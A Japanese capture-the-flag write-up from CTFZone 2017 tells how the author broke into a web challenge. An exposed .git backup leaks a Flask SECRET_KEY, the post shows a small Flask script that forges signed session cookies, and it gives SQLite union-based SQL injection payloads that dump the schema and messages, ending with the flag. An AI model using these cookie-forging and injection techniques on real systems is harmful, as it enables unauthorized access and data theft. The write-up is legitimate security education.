チーム Harekaze で CTFZone 2017 に参加しました。最終的にチームで 1147 点を獲得し、順位は得点 55 チーム中 25 位でした。うち、私は 1 問を解いて 687 点を入れました。
以下、解いた問題の write-up です。
与えられた URL にアクセスすると、Here u can make your own virtual number and receive sms with its help
という説明とログインページへのリンクが表示されました。
適当なアカウント (ユーザ名は tekitou
) を作成してログインすると 326410031713
という番号が発行され、Hello! Your number is 326410031713. Have a nice conversation.
というメッセージが表示されました。
Cookie は session=eyJudW1iZXIiOiIzMjY0MTAwMzE3MTMiLCJ1c2VybmFtZSI6InRla2l0b3UifQ.DE2Jvg.rTWgVWdOeAYa0Z1a-9GI6tJQChE
という内容になっていました。.
で区切った最初の文字列を base64 デコードすると {"number":"326410031713","username":"tekitou"}
という JSON のデータが出てきました。
何か手がかりが得られないか m—/webfuck を回してみたところ、/backup/
というディレクトリが見つかりました。
早速アクセスしてみると HEAD
COMMIT_EDITMSG
のようなファイルや objects/
refs/
のようなディレクトリの一覧が表示されました。恐らく .git
でしょう。kost/dvcs-ripper を使って rip-git.pl -v -u http://82.202.204.104/backup/
でダウンロードできました。
ダウンロード先には .gitignore
requirements.txt
static/
templates/
がありました。.gitignore
は以下のような内容で、どうやらソースコードは含まれていないようです。
*.db
.DS_Store
backup
env
.backup/
template
.template/
*.py
requirements.txt
は以下の内容で、Flask を使っていることが分かりました。
flask
flask_recaptcha
git log
でコミットログを眺めていると、気になる箇所がありました。
commit 8b1084b23d869e5dc1ae4ac845589ecfb896c0c3
Author: Alexey Kuznetsov <akz@bi.zone>
Date: Fri Jul 14 20:40:11 2017 +0300
static added
...
diff --git a/config.pyc b/config.pyc
deleted file mode 100644
index 1426e2a..0000000
Binary files a/config.pyc and /dev/null differ
config.pyc
というファイルを削除しています。git reset --hard bd55b19e5413ce609d3bc4429c3a6f272341988a
で巻き戻しましょう。得られた config.pyc
を uncompyle6
でデコンパイルすると以下のコードが出てきました。
# uncompyle6 version 2.9.10
# Python bytecode 3.6 (3379)
# Decompiled from: Python 2.7.9 (default, Mar 1 2015, 12:57:24)
# [GCC 4.9.2]
# Embedded file name: config.py
# Compiled at: 2017-07-15 02:28:42
# Size of source mod 2**32: 288 bytes
class BaseConfig(object):
DEBUG = False
SECRET_KEY = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
DB_NAME = 'messages.db'
RECAPTCHA_ENABLED = True
RECAPTCHA_THEME = 'dark'
RECAPTCHA_TYPE = 'image'
RECAPTCHA_SIZE = 'normal'
RECAPTCHA_RTABINDEX = 10
# okay decompiling config.pyc
セッションの署名と検証に使われている SECRET_KEY
が得られました。これを使ってセッションの偽造ができるスクリプトを書いてみましょう。
app.py
import requests
from flask import *
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
session['number'] = request.form['number']
session['username'] = request.form['username']
return render_template('index.html', username=request.form['username'], number=request.form['number'])
return render_template('index.html', username='', number='')
app.secret_key = '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
app.run(port=4000, debug=True)
templates/index.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Leaked message</title>
</head>
<body>
<form method="POST">
<label>username: <input type="text" name="username" value="" size=100></label><br>
<label>number: <input type="text" name="number" value="" size=100></label><br>
<input type="submit" value="submit"></form>
</form>
</body>
</html>
username
に hoge
、number
に fuga
を入力してできたセッションを Cookie にセットすると、Here the last message for you, fuga
と表示されました。やった!
number
を ' union select sqlite_version();--
に変えてみるとメッセージに 3.11.0
が表示されました。これで number
から SQLi ができ、また DB には SQLite が使われているということが分かりました。
' union select group_concat(sql, char(10)) from sqlite_master;--
でテーブルの構造を確認してみます。
CREATE TABLE sqlite_sequence(name,seq)
CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username text, password text, salt text, number text)
CREATE TABLE messages(id INTEGER PRIMARY KEY AUTOINCREMENT, number text, message text)
users
messages
というテーブルがあることが分かりました。
' union select group_concat(distinct message) from messages where message not like 'Hello! Your number is %' order by message;--
でメッセージを抜き出してみましょう。
To be truly great, we have to understand the motivation of our clients, maintain constant two-way communication with shockingly uncreative people, get a firm handle on copywriting and how that craft exists symbiotically with the visual element, and foresee how the finished whole will be greater than the sum of the bits and pieces we spent hours obsessing over. All of these factors cascade into the final product.
...
It's so cool! https://postimg.org/image/41t4h680r/
いろいろな引用がある中、最後の行に画像へのリンクがありました。開いてみるとうっすらとフラグが読めますが…何度試しても通りません。悩んでいたところ、arukuka さんが正しいフラグを提出されていました。どうやら 21 文字目の 6
を 5
と読み間違えてしまっていたようです。
ctfzone{b1d4207ff1966105af775cfa71d8214d}